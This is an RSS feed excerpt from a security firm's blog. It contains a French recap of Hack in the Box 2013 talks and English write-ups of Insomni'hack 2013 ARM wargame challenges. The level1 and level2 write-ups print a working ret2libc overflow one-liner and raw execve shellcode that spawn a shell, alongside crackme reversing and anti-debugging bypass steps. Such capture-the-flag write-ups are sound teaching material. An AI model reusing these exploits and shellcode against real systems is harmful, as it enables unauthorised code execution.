<p>Ces derniers possèdent une interface ethernet et peuvent acceuillir une carte WiFi afin de permettre aux photographes d&rsquo;uploader leurs photos directement sur un serveur FTP, d&rsquo;y accéder depuis leur laptop au travers du protocole DLNA, un serveur web embarqué ou encore le client EOS Utility. On voit clairement 2 points critiques avec le FTP non-chiffré et le DLNA qui est un protocole ne demandant aucune authentification. Heureusement, le serveur web utilise des identifiants de sessions de 32bits (environ 20min pour tester toutes les combinaisons sur cet appareil) et le client lourd requière un nom d&rsquo;hôte (qui n&rsquo;est pas validé côté serveur) et un secret (qui est broadcasté sur le réseau au démarrage de l&rsquo;appareil)&#8230;</p>
<p>Ce type de vulnérabilités peut avoir un impact critique pour des photographes professionels, comme la suppression de photos, l&rsquo;ajout de photos comprométentes ou encore la prise de contrôle à distance pour surveiller ce qui se passe dans une pièce. Du chemin reste donc encore à parcourir dans certains domaines pour que le niveau de sécurité rejoigne celui auquel nous sommes habitué sur les OS courants.</p>
<h1>Nifty tricks and sage advices for shellcode on embedded devices</h1>
<p>En lisant le titre de cette présentation on pourrait penser à une Nième présentation sur l&rsquo;exploitation sur Android ou le routeur XYZ. C&rsquo;est sans connaitre Travis Goodspeed qui parle ici de microcontrolleurs de 8, 16 ou 32 bits comme le 8051 d&rsquo;Intel sans système d&rsquo;exploitation et avec tout au plus une version limitée de la libc.</p>
<p>Le but ici n&rsquo;est alors pas forcément d&rsquo;obtenir une exécution de code, qui pourrait servir par exemple dans le cas où la fonctionalité de mise à jour a été omise, mais l&rsquo;exploitation d&rsquo;une vulnérabilité va servir à extraire le contenu de la flash afin d&rsquo;obtenir le code présent. Les protections rencontrées sur x64/ARM ne sont pas présentent mais remplacées par des limitations de concept comme l&rsquo;interdiction d&rsquo;exécution de code depuis la RAM. L&rsquo;extraction des données peut également posé problème du fait de limitation de taille sur les caches disponibles. Il faut alors faire preuve d&rsquo;ingéniosité comme par exemple utilisé les ports GPIO des LEDs.</p>
<h1>Virtually secure: analysis to remote 0day in an industry leading SSL-VPN appliance</h1>
<p>Le contenu de cette conférence n&rsquo;était pas impressionant (injection SQL sur une page accessible sans authentification), mais le fait d&rsquo;expliquer les différentes étapes de la recherche de vulnérabilité sur ce type d&rsquo;équipement ainsi que les problèmes rencontré ainsi que leurs solutions en ont fait une bonne présentation.</p>
<p>Cette présentation permet également de rappeler un point important: bien souvent trop de confiance peut être accordée aux produits de sécurité qui une fois compromis offrent un accès quasi-total au LAN de l&rsquo;entreprise (dans le cas d&rsquo;un portail VPN). C&rsquo;est dans ce type de cas qu&rsquo;une surveillance comme celle présentée dans la keynote de lancement fait tout son sens.</p>
<h1>Page fault liberation army or better security through creative x86 trapping</h1>
<p>Excellente présentation de Sergey Bratus et Julian Bangert. Concrêtement l&rsquo;utilité de leur recherche n&rsquo;est pas visible, mais le concept est intéressant: construire une machine Turing-complete qui utilise une seule instruction.</p>
<p>Ici, un jeu de la vie complêt (souvenirs d&rsquo;école d&rsquo;ingénieur&#8230;) a été développé sans écrire une seule instruction assembleur. C&rsquo;est le mécanisme qui est hardcodé dans la MMU qui est utilisé pour modifier des valeurs en mémoires. L&rsquo;équivalent d&rsquo;une instruction est réalisé grâce aux TLBs et le signal d&rsquo;horloge est simulé par une exception page-fault. Attention, une bonne thermos de café est requise pour la lecture de ces slides <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<h1>Aircraft hacking: Practical aero series</h1>
<p>Un titre de conférence qui fait peur, non sans raisons. Hugo Teso y a présenté les résultats de plus de 3ans de recherches personnelles sur la sécurité des avions. Comme toute attaque, les phases de reconnaissance, exploitation, post-exploitation ont été respectées. La phase de reconnaissance et l&rsquo;exploitation se passe par les canaux de communication qu&rsquo;utilisent les avions et les équipes au sol pour communiquer.</p>
<p>Hugo a également présenté son laboratoire monté pour ses recherches, comprenant des systèmes d&rsquo;entrainement de pilotes ou encore des vraies composants achetés sur des sites d&rsquo;enchères en ligne.</p>
<p>Les outils d&rsquo;exploitation et post-exploitation ne fonctionnent que sur la partie virtualisée du lab afin de ne pas permettre à de personnes mal intentionnées de les utiliser. Les autorités Européennes concernées ont également été contacté et les résultats des recherches vont permettre d&rsquo;améliorer la sécurité via une collaboration de ces instances.</p>
<h1>Keynote jour 2 : Rethinking the front lines</h1>
<p>Bob Lord (Director of Information Security, Twitter) nous y présente son retour d&rsquo;expérience sur le thème des sensibilisations utilisateurs dans le contexte de Twitter.</p>
<p>Cet exercice est loin d&rsquo;être facile du fait des mauvaises habitudes que les employés ont pu prendre par le passé et nécessite ainsi de faire la formation au plus tôt lors de l&rsquo;arrivée des nouveaux employés et de rendre ça le plus fun possible afin de laisser une trace dans la mémoire des gens. Un suivi constant via différentes statistiques sur le suivi des bonnes pratiques présentées ainsi que des campagnes de phishing lui permette de remettre en question la formation données afin d&rsquo;avoir au fur et à mesure de meilleurs résultats.</p>
<h1>Swiping though modern security features</h1>
<p>Nous ne rentrerons pas dans la technique utilisée pour ce jailbreak du fait qu&rsquo;il est déjà détaillé à différents endroits et les slides seront disponibles sous peu. On retiendra néanmoins que le contournement du mécanisme de Code Signing a été possible sans une seule vulnérabilité mémoire, tout est lié à des erreurs de logiques. La seconde partie est plus complexe mais ne requière qu&rsquo;une fonction vulnérable, liée à la stack USB, afin d&rsquo;appeler du code coté kernel (reste à connaitre une adresse intéressante).</p>
<p>Les protections mises en place par Apple sont complexes à contourner, mais il reste certains points non-protégés qui peuvent être utilisés comme rebonds.</p>
<h1>Conclusion</h1>
<p>En conclusion, cette édition 2013 d&rsquo;HiTB était très intéresante et d&rsquo;un bon niveau. On regrettera tout de même les présentations &quot;hardware&quot; qui consistaient, dans les grandes lignes, à exploiter des Linux embarqués comprenant des serveurs web ou des scripts CGI vulnérables, ce qui est connu depuis plusieurs années.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/blogscrt.wordpress.com/1177/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/blogscrt.wordpress.com/1177/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1177&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.scrt.ch/2013/04/11/hack-in-the-box-amsterdam-2013/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/31efa457cbd5c646bd8fc65a7f48b357?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">julienbachmann</media:title>
		</media:content>
	</item>
		<item>
		<title>Insomni&#8217;hack 2013 &#8211; Armory level3</title>
		<link>http://blog.scrt.ch/2013/04/04/insomnihack-2013-armory-level3/</link>
		<comments>http://blog.scrt.ch/2013/04/04/insomnihack-2013-armory-level3/#comments</comments>
		<pubDate>Thu, 04 Apr 2013 13:23:17 +0000</pubDate>
		<dc:creator>Julien Bachmann</dc:creator>
				<category><![CDATA[Insomni'hack]]></category>
		<category><![CDATA[arm]]></category>
		<category><![CDATA[crackme]]></category>
		<category><![CDATA[raspberry pi]]></category>
		<category><![CDATA[reverse engineering]]></category>

		<guid isPermaLink="false">http://blog.scrt.ch/?p=1166</guid>
		<description><![CDATA[This challenge was the last level on the ARM platform. It was a crackme with a stripped binary including a basic anti-debugging trick. Sadly, only one team managed to complete this challenge before the end of Insomni&#8217;hack and another wasn&#8217;t &#8230; <a href="http://blog.scrt.ch/2013/04/04/insomnihack-2013-armory-level3/">Lire la suite <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1166&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>This challenge was the last level on the ARM platform. It was a crackme with a stripped binary including a basic anti-debugging trick. Sadly, only one team managed to complete this challenge before the end of Insomni&rsquo;hack and another wasn&rsquo;t far from what we discussed later.</p>
<p>Running the binary alone we can learn that two things should be provided: a username and a serial number. Maybe the two are linked, maybe not&#8230;</p>
<p>The check for the username is easily spotted using IDA and searching for cross-references to strcmp(). Also, the serial is XOR&rsquo;d with this username.</p>
<pre class="brush: bash; title: ; notranslate">
.text:00008AE8 E4 01 9F E5 LDR     R0, =aJackknife ; &quot;jackknife&quot;
.text:00008AEC 14 10 1B E5 LDR     R1, [R11,#s2]   ; s2
.text:00008AF0 68 FE FF EB BL      strcmp
.text:00008AF4 00 30 A0 E1 MOV     R3, R0
.text:00008AF8 00 00 53 E3 CMP     R3, #0
.text:00008AFC 08 00 00 1A BNE     loc_8b24
...
.text:00008B70 1C 20 1B E5 LDR     R2, [R11,#var_1C]
.text:00008B74 10 30 1B E5 LDR     R3, [R11,#var_10]
.text:00008B78 03 30 82 E0 ADD     R3, R2, R3
.text:00008B7C 14 10 1B E5 LDR     R1, [R11,#s2]
.text:00008B80 10 20 1B E5 LDR     R2, [R11,#var_10]
.text:00008B84 02 20 81 E0 ADD     R2, R1, R2
.text:00008B88 00 10 D2 E5 LDRB    R1, [R2]
.text:00008B8C 18 00 1B E5 LDR     R0, [R11,#s]
.text:00008B90 10 20 1B E5 LDR     R2, [R11,#var_10]
.text:00008B94 02 20 80 E0 ADD     R2, R0, R2
.text:00008B98 00 20 D2 E5 LDRB    R2, [R2]
.text:00008B9C 02 20 21 E0 EOR     R2, R1, R2
.text:00008BA0 72 20 EF E6 UXTB    R2, R2
.text:00008BA4 00 20 C3 E5 STRB    R2, [R3]
.text:00008BA8 10 30 1B E5 LDR     R3, [R11,#var_10]
.text:00008BAC 01 30 83 E2 ADD     R3, R3, #1
.text:00008BB0 10 30 0B E5 STR     R3, [R11,#var_10]
</pre>
<p>Next step: run the binary in GDB in order to see how the serial number is validated.</p>
<pre class="brush: bash; title: ; notranslate">
level3@sploitboard:~$ gdb ./level3 
(gdb) r foo bar
Starting program: /home/level3/level3 foo bar
Ammo store
----------
Validating your credentials to download ammo for your weapons...

Program received signal SIGTRAP, Trace/breakpoint trap.
0xb6ec0bfc in raise () from /lib/arm-linux-gnueabihf/libc.so.6
</pre>
<p>Wait what?!? You didn&rsquo;t put any breakpoint and still a SIGTRAP is raised. Looking more closely we can see that the raise(3) function is called  multiple times in the application so it seems that this is our anti-debugging trick.</p>
<pre class="brush: bash; title: ; notranslate">
Direction Type Address      Text         
--------- ---- -------      ----         
Up        p    sub_889C+20  BL      raise
Up        p    sub_88C8+18  BL      raise
Up        p    sub_88F0+1C  BL      raise
Up        p    sub_891C+1C  BL      raise
Up        p    sub_8948+18  BL      raise
Up        p    sub_8988+C   BL      raise
          p    sub_8A48+9C  BL      raise
Down      p    sub_8A48+F0  BL      raise
Down      p    sub_8A48+188 BL      raise
</pre>
<p>We can also see that a signal handler is defined for SIGTRAP and SIGABRT and that this handler is incrementing a global variable:</p>
<pre class="brush: bash; title: ; notranslate">
.text:000089F4                 LDR     R3, =sig_handler
.text:000089F8                 STR     R3, [R11,#act]
.text:000089FC                 SUB     R3, R11, #-act
.text:00008A00                 MOV     R0, #5          ; sig
.text:00008A04                 MOV     R1, R3          ; act
.text:00008A08                 MOV     R2, #0          ; oact
.text:00008A0C                 BL      sigaction
.text:00008A10                 SUB     R3, R11, #-act
.text:00008A14                 MOV     R0, #6          ; sig
.text:00008A18                 MOV     R1, R3          ; act
.text:00008A1C                 MOV     R2, #0          ; oact
.text:00008A20                 BL     
...
; sig_handler:
.text:000089BC 18 30 9F E5 LDR     R3, =dword_10F7C
.text:000089C0 00 30 93 E5 LDR     R3, [R3]
.text:000089C4 01 20 83 E2 ADD     R2, R3, #1
.text:000089C8 0C 30 9F E5 LDR     R3, =dword_10F7C
.text:000089CC 00 20 83 E5 STR     R2, [R3]
</pre>
<p>The first check that is done on the XOR&rsquo;d serial number is using this counter so we might have to run this code to know this value without reversing the complete application. Using a breakpoint on raise(3) and the call method in GDB we can emulate the SIGTRAP without actually triggering it.</p>
<pre class="brush: bash; title: ; notranslate">
.text:00008BD4 1C 30 1B E5 LDR     R3, [R11,#XOR_serial]
.text:00008BD8 00 30 D3 E5 LDRB    R3, [R3]
.text:00008BDC 03 20 A0 E1 MOV     R2, R3
.text:00008BE0 DC 30 9F E5 LDR     R3, =dword_10F7C
.text:00008BE4 00 30 93 E5 LDR     R3, [R3]
.text:00008BE8 03 30 82 E0 ADD     R3, R2, R3
.text:00008BEC 73 30 EF E6 UXTB    R3, R3
.text:00008BF0 A3 00 53 E3 CMP     R3, #0xA3
</pre>
<pre class="brush: bash; title: ; notranslate">
Breakpoint 1, 0xb6ec0bbc in raise () from /lib/arm-linux-gnueabihf/libc.so.6
(gdb) call (void)0x89a0(5)
$1 = 35232
(gdb) bt
#0  0xb6ec0bbc in raise () from /lib/arm-linux-gnueabihf/libc.so.6
#1  0x00008ae8 in ?? ()
#2  0x00008ae8 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) set $pc=0x8ae8
(gdb) c
Breakpoint 4, 0x00008be0 in ?? ()
(gdb) x /5i $pc
=&gt; 0x8be0:	ldr	r3, [pc, #220]	; 0x8cc4
   0x8be4:	ldr	r3, [r3]
   0x8be8:	add	r3, r2, r3
   0x8bec:	uxtb	r3, r3
   0x8bf0:	cmp	r3, #163	; 0xa3
(gdb) p *0x10f7c
$22 = 2
</pre>
<p>This means that the XOR&rsquo;d value added to 2 should be equal to 0xa3. Continuing this lenghty process, we can get all the characters of the serial number:</p>
<pre class="brush: bash; title: ; notranslate">
level3@sploitboard:~$ ./level3 jackknife `python -c 'print &quot;\xcb&quot;+&quot;b\xea\xe2aaaaa&quot;'`
Ammo store
----------
Validating your credentials to download ammo for your weapons...
36760a05c853e6a7444b6a3de2c100591e0ad9c0193c56ca562949f4f7342a808cead86e34f940fb88221403451345e36edddcce51934eb4ea64af7c27aa6650
</pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/blogscrt.wordpress.com/1166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/blogscrt.wordpress.com/1166/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1166&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.scrt.ch/2013/04/04/insomnihack-2013-armory-level3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/31efa457cbd5c646bd8fc65a7f48b357?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">julienbachmann</media:title>
		</media:content>
	</item>
		<item>
		<title>Insomni&#8217;hack 2013 Armory level1 &amp; level2</title>
		<link>http://blog.scrt.ch/2013/04/04/insomnihack-2013-armory-level1-level2/</link>
		<comments>http://blog.scrt.ch/2013/04/04/insomnihack-2013-armory-level1-level2/#comments</comments>
		<pubDate>Thu, 04 Apr 2013 09:47:45 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Insomni'hack]]></category>
		<category><![CDATA[arm]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[raspberrypi]]></category>

		<guid isPermaLink="false">http://blog.scrt.ch/?p=1155</guid>
		<description><![CDATA[Level1 should be pretty straightforward. Looking at the assenbly, you can see that it prints the current working directory by using system(&#34;pwd&#34;) and then strcpy user controlled data to a fixed size buffer. Stack is NX so we need to &#8230; <a href="http://blog.scrt.ch/2013/04/04/insomnihack-2013-armory-level1-level2/">Lire la suite <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1155&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><span style="line-height:1.5;">Level1 should be pretty straightforward. Looking at the assenbly, you can see that it prints the current working directory by using system(&quot;pwd&quot;) and then strcpy user controlled data to a fixed size buffer.</span></p>
<p>Stack is NX so we need to ret2libc, pretty easy here as the address of system is known inside the binary:</p>
<pre class="brush: bash; title: ; notranslate">Dump of assembler code for function main:
   ...
   0x000084f0 &lt;+44&gt;:	bl	0x836c &lt;printf&gt;
   0x000084f4 &lt;+48&gt;:	ldr	r0, [pc, #40]	; 0x8524 &lt;main+96&gt;
   0x000084f8 &lt;+52&gt;:	bl	0x839c &lt;system&gt;   # Adress of system
   0x000084fc &lt;+56&gt;:	ldr	r3, [r11, #-12]
   0x00008500 &lt;+60&gt;:	add	r3, r3, #4
   ...
End of assembler dump.</pre>
<p>So, by calculating the offset, we know we have $pc control after 132 bytes. System takes one argument in $r0. Perfect, right after the $pc overwrite, we have a user-controlled string in $r0 being our argv[1].</p>
<p>Here is the exploit :</p>
<pre class="brush: bash; title: ; notranslate"># ./level1 `python -c 'print &quot;/bin/sh;&quot;+&quot;#&quot;*124+&quot;\x9c\x83&quot;'`
Current working directory:
/home/level1
root says: /bin/sh;############################################################################################################################
# ls -al
total 28
dr-xr-x--- 2 level1 level1 4096 Mar 20 08:56 .
dr-xr-xr-x 6 root root 4096 Mar 19 23:40 ..
lrwxrwxrwx 1 root root 9 Mar 20 08:56 .bash_history -&amp;gt; /dev/null
-r--r--r-- 1 level1 level1 220 Jan 11 06:34 .bash_logout
-r--r--r-- 1 level1 level1 3392 Jan 11 06:34 .bashrc
-r-sr-xr-x 1 level2 level1 5684 Mar 6 10:29 level1
-r--r--r-- 1 level1 level1 675 Jan 11 06:34 .profile
# </pre>
<p>Level2 is a bit more complicated.</p>
<p>The program reads 20 bytes from stdin and jumps to it, stack is executable:</p>
<pre class="brush: bash; title: ; notranslate">(gdb) disass main
Dump of assembler code for function main:
   0x000083fc &lt;+0&gt;:	push	{r11, lr}
   0x00008400 &lt;+4&gt;:	add	r11, sp, #4
   0x00008404 &lt;+8&gt;:	sub	sp, sp, #256	; 0x100
   0x00008408 &lt;+12&gt;:	sub	r3, r11, #260	; 0x104
   0x0000840c &lt;+16&gt;:	mov	r2, #20 = size
   0x00008410 &lt;+20&gt;:	mov	r1, r3
   0x00008414 &lt;+24&gt;:	mov	r0, #0  = stdin
   0x00008418 &lt;+28&gt;:	bl	0x8314 &lt;read&gt;
   0x0000841c &lt;+32&gt;:	sub	r3, r11, #260	; 0x104
   0x00008420 &lt;+36&gt;:	blx	r3    # jumps to our buffer
   0x00008424 &lt;+40&gt;:	ldr	r0, [pc, #4]	; 0x8430 &lt;main+52&gt;
   0x00008428 &lt;+44&gt;:	bl	0x8320 &lt;puts&gt;
   0x0000842c &lt;+48&gt;:	b	0x8408 &lt;main+12&gt;
</pre>
<p>20 bytes is too small to do an execve, but it&rsquo;s enough to do a return to read, in this case main+20 after having set $r2 big enough to contain our shellcode.</p>
<p>The exploit will be done in two stage, first one is to set $r2 to 256 and then jump to 0&#215;8410. Also when the program branch to $r3, we can see that $r6 points near to main, at 0&#215;8350. We need to :</p>
<pre class="brush: bash; title: ; notranslate"> add r6,r6,$192
mov r2, $256
blx r6
PAD
PAD</pre>
<p>This would work well in a perfect world but was failing randomly on the raspberry pi (core dumps) but never through gdb or strace. Analyzing the core dumps, we saw that sometimes the program wasn&rsquo;t doing the blx r6 from time to time and that left us wandering. We added some loop after the blx r6 to &quot;stabilize&quot; the exploit <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<pre class="brush: bash; title: ; notranslate">_start:
add r6,r6,$192
mov r2, $256
test:
blx r6
bl test
bl test
</pre>
<p>For the second pass, we used <a href="https://twitter.com/JonathanSalwan">djo</a>&lsquo;s linux/arm execve from <a href="http://www.shell-storm.org/shellcode/files/shellcode-696.php" rel="nofollow">http://www.shell-storm.org/shellcode/files/shellcode-696.php</a></p>
<p>Here is the final exploit:</p>
<pre class="brush: bash; title: ; notranslate"> # (python -c 'print &quot;\xc0\x60\x86\xe2\x01\x2c\xa0\xe3\x36\xff\x2f\xe1\xfd\xff\xff\xeb\xfc\xff\xff\xeb&quot;+&quot;\x01\xdc\x4d\xe2\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x08\x30\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x00&quot;';cat) | ./level2</pre>
<p>We got around 3 out of 5 successful exploit from there so we figured it was sort of working&#8230; And in any case we were available during the CTF to discuss this should a team have any issues.</p>
<p>Team Int3pids was the first to solve it so we went to discuss with the one who solved it, <a href="https://twitter.com/esanfelix">Eloi Sanfelix</a>. He told us that this kind of behavior is typical on arm processors due to the data and instruction cache. That explains why it was working all the time under a debugger since the cache has enough time to flush.</p>
<p>Nevertheless, one other team solved it by launching it over and over. I was told it took them ~200 attempts <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/blogscrt.wordpress.com/1155/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/blogscrt.wordpress.com/1155/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1155&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.scrt.ch/2013/04/04/insomnihack-2013-armory-level1-level2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/59d289cd0752bfedd9518f93f2902e01?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mzanetta</media:title>
		</media:content>
	</item>
		<item>
		<title>Insomni’hack 2013 : Armory wargame</title>
		<link>http://blog.scrt.ch/2013/04/03/insomnihack-2013-armory-wargame/</link>
		<comments>http://blog.scrt.ch/2013/04/03/insomnihack-2013-armory-wargame/#comments</comments>
		<pubDate>Wed, 03 Apr 2013 13:16:07 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Insomni'hack]]></category>

		<guid isPermaLink="false">http://blog.scrt.ch/?p=1132</guid>
		<description><![CDATA[As arm CPU are getting more and more used, we decided to create an arm-based wargame consisting of 4 challenges. The first one, described here, is a reverse engineering challenge that will give you the credentials to access the actual &#8230; <a href="http://blog.scrt.ch/2013/04/03/insomnihack-2013-armory-wargame/">Lire la suite <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1132&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><span style="line-height:1.5;">As arm CPU are getting more and more used, we decided to create an arm-based wargame consisting of 4 challenges.</span></p>
<p>The first one, described here, is a reverse engineering challenge that will give you the credentials to access the actual raspberry pi box.</p>
<p>Here is the beginning of the disassembled code:</p>
<p><a href="http://blogscrt.files.wordpress.com/2013/04/arm-disass.png"><img class="alignnone size-medium wp-image-1145 aligncenter" alt="arm-disass" src="http://blogscrt.files.wordpress.com/2013/04/arm-disass.png?w=300&#038;h=237" width="300" height="237" /></a></p>
<p>As you can see, the first check is done again the strlen that must match 6<br />
Then the program parses argv[1][0] and add it to argv[1][1], the result should be 0xa6<br />
Then argv[1][2] is substracted to argv[1][1], the result should be 5.</p>
<p>Here is the c code for all the checks:</p>
<pre class="brush: cpp; title: ; notranslate">if (strlen(argv[1]) != 6)
exit(-42);
if (argv[1][0]+argv[1][1] != 166)
exit(42);
if (argv[1][1]-argv[1][2] != 5)
exit(-42);
if (argv[1][2]+argv[1][3] != 157)
exit(42);
if (argv[1][3]-argv[1][4] != -66)
exit(-42);
if (argv[1][4]+argv[1][5] != 163)
exit(42);
if (argv[1][5]-strlen(argv[1]) != 43)
exit(-42);
</pre>
<p>So, we can either try to guess the correct sequence or start from the end as strlen(argv[1]) is known. This gives the string</p>
<blockquote><p>4rm0r1</p></blockquote>
<p>After that, the real challenge was to be able to run the program without having to reverse the decrypt function <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
Any armv6 compatible system could have been used, and we even validated the challenge for the team unable to run the program.</p>
<p>That gave you:<br />
<code> # ./armory 4rm0r1</code><br />
<code>Nice, you now have access to the armory!<br />
There are 5 available terminals to get your weapons:</code></p>
<p><code>ssh://raspberry1.insomni.hack<br />
ssh://raspberry2.insomni.hack<br />
ssh://raspberry3.insomni.hack<br />
ssh://raspberry4.insomni.hack<br />
ssh://raspberry5.insomni.hack</code></p>
<p><code>Login is : level1<br />
Pass is : In33dmoarweap0ns</code></p>
<p><code>Be nice, those hosts are based on low cost raspberry Pi !<br />
Use 'who' and try to get one not in use</code></p>
<p><code>Be careful with your exploits on this host, don't let someone else steal your flags <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </code></p>
<p><code>Your flag for this challenge:<br />
2ea108cdfa288d2fb66bde68d4f74348bc2799acbdc324ba613368ca1f7fe727168745632e6b6c<br />
972a194dc12589d087cb2819cd46890f7a0527c868b41d6d1a</code></p>
<p>Now, if you want to be able to run the raspberry pi system in order to try the challenges, there are 3 ways:</p>
<ul>
<li><span style="line-height:1.5;">Qemu-user emulation in chroot</span></li>
<li><span style="line-height:1.5;">Qemu-system emulation</span></li>
<li><span style="line-height:1.5;">On an actual raspberry pi</span></li>
</ul>
<p><strong>Qemu-user chroot:</strong><br />
The archive is made for x86_64 systems but it should be easy to make it work on x86 architecture by reading <a href="http://www.gentoo.org/proj/en/base/embedded/handbook/?part=1&#038;chap=5" rel="nofollow">http://www.gentoo.org/proj/en/base/embedded/handbook/?part=1&#038;chap=5</a></p>
<p>You need the binmft_misc kernel module to make it work. Simply untar the following archive somewhere :</p>
<p><a href="http://www.insomnihack.ch/images/raspberry.tgz" rel="nofollow">http://www.insomnihack.ch/images/raspberry.tgz</a></p>
<p>Once untargz&rsquo;ed go inside the directory and run chroot.sh. If all goes well, you should be chrooted inside a full arm environment and be able to run native arm code on your x86_64 system</p>
<p><strong>Qemu-system with the image:</strong></p>
<p>Download <a href="http://www.insomnihack.ch/images/image.img.gz" rel="nofollow">http://www.insomnihack.ch/images/image.img.gz</a> and <a href="http://xecdesign.com/downloads/linux-qemu/kernel-qemu" rel="nofollow">http://xecdesign.com/downloads/linux-qemu/kernel-qemu</a><br />
Gunzip the image and launch qemu with :<br />
<code>qemu-system-arm -kernel kernel-qemu -cpu arm1176 -m 256 -M versatilepb -append "root=/dev/sda3" -hda image.img -display sdl</code></p>
<p>You will have some errors about missing kernel module but the console prompt will come eventually.<br />
User is root and password is toor</p>
<p><strong>Native raspberry pi:</strong><br />
Should be pretty straightforward, just download <a href="http://www.insomnihack.ch/images/image.img.gz" rel="nofollow">http://www.insomnihack.ch/images/image.img.gz</a> and copy it over a sdcard (in this case /dev/mmcblk0) like this :<br />
<code>dd if=image.img of=/dev/mmcblk0 bs=10M</code><br />
User is root and password is toor</p>
<p>It might take a while to launch the ssh daemon but it is due to the dns name resolution.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/blogscrt.wordpress.com/1132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/blogscrt.wordpress.com/1132/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1132&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.scrt.ch/2013/04/03/insomnihack-2013-armory-wargame/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/59d289cd0752bfedd9518f93f2902e01?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mzanetta</media:title>
		</media:content>

		<media:content url="http://blogscrt.files.wordpress.com/2013/04/arm-disass.png?w=300" medium="image">
			<media:title type="html">arm-disass</media:title>
		</media:content>
	</item>
		<item>
		<title>Insomni&#8217;hack 2013 : Money money money</title>
		<link>http://blog.scrt.ch/2013/04/03/insomnihack-2013-money-money-money/</link>
		<comments>http://blog.scrt.ch/2013/04/03/insomnihack-2013-money-money-money/#comments</comments>
		<pubDate>Wed, 03 Apr 2013 11:44:55 +0000</pubDate>
		<dc:creator>Nicolas Oberli</dc:creator>
				<category><![CDATA[Insomni'hack]]></category>

		<guid isPermaLink="false">http://blog.scrt.ch/?p=1060</guid>
		<description><![CDATA[Money Money Money Even after "The Event", money is still the key to beat your opponents. Our scouts found an old banking server which should contain information about the accounts and the money they contain, but this old computer used &#8230; <a href="http://blog.scrt.ch/2013/04/03/insomnihack-2013-money-money-money/">Lire la suite <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1060&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<h2>Money Money Money</h2>
<pre>Even after "The Event", money is still the key to beat your opponents. Our scouts found an old banking server which should contain information about the accounts and the money they contain, but this old computer used to use perforated cards. Our engineers were able to create an interface to use it on modern technology, but they are not able to break the security system to get the data.</pre>
<p>When connecting, the following information is given :</p>
<pre>Initializing 256 bytes RAM...
Loading security module into memory...Done
Welcome to the truc machine
Please insert program card</pre>
<p>When entering the example data, the output is &quot;Hello&quot;. Decoding the example data gives a PNG image :</p>
<p><a href="http://blogscrt.files.wordpress.com/2013/03/test_3.png"><img class="aligncenter size-full wp-image-1064" alt="moneymoneymoney_example" src="http://blogscrt.files.wordpress.com/2013/03/test_3.png?w=640"   /></a></p>
